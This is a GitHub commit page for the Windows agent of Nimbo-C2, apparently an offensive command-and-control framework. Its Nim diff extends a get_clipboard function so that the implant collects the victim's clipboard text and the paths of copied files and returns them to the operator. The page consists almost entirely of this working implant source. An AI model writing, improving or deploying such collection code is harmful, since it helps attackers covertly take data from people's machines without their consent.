Skip to content

Commit

Permalink
Merge pull request #27 from itaymigdal/Improving
Browse files Browse the repository at this point in the history
improved clipboard
  • Loading branch information
itaymigdal authored Oct 20, 2024
2 parents ca53643 + ace0911 commit 55c5c9e
Showing 1 changed file with 28 additions and 12 deletions.
40 changes: 28 additions & 12 deletions Nimbo-C2/agent/windows/utils/clipboard.nim
Original file line number Diff line number Diff line change
Expand Up @@ -2,15 +2,31 @@ import std/[strutils]
import winim

proc get_clipboard*(): string =
# finally close
defer: discard CloseClipboard()
# try to read clipboard
if OpenClipboard(0):
let data = GetClipboardData(1)
if data != 0:
let text = cast[cstring](GlobalLock(data))
discard GlobalUnlock(data)
if text != NULL:
# replace bad chars
var sanitized_text = ($text).replace("\c", "")
return sanitized_text
defer: discard CloseClipboard()

if OpenClipboard(0):
# Check for CF_TEXT
let textData = GetClipboardData(CF_TEXT)
if textData != 0:
let text = cast[cstring](GlobalLock(textData))
defer: discard GlobalUnlock(textData)
if text != nil:
return ($text).replace("\c", "")

# Check for CF_HDROP
let hdropData = GetClipboardData(CF_HDROP)
if hdropData != 0:
let dropFiles = cast[HDROP](GlobalLock(hdropData))
defer: discard GlobalUnlock(hdropData)
if dropFiles != 0:
result = "Copied files:\n"
let fileCount = DragQueryFile(dropFiles, cast[UINT](0xFFFFFFFF), nil, 0)
var buffer: array[MAX_PATH, WCHAR]
for i in 0 ..< fileCount:
let pathLength = DragQueryFileW(dropFiles, i, cast[LPWSTR](addr buffer[0]), MAX_PATH.UINT32)
if pathLength > 0:
result.add($cast[WideCString](addr buffer[0]))
result.add("\n")
return result.strip()

return ""

0 comments on commit 55c5c9e

Please sign in to comment.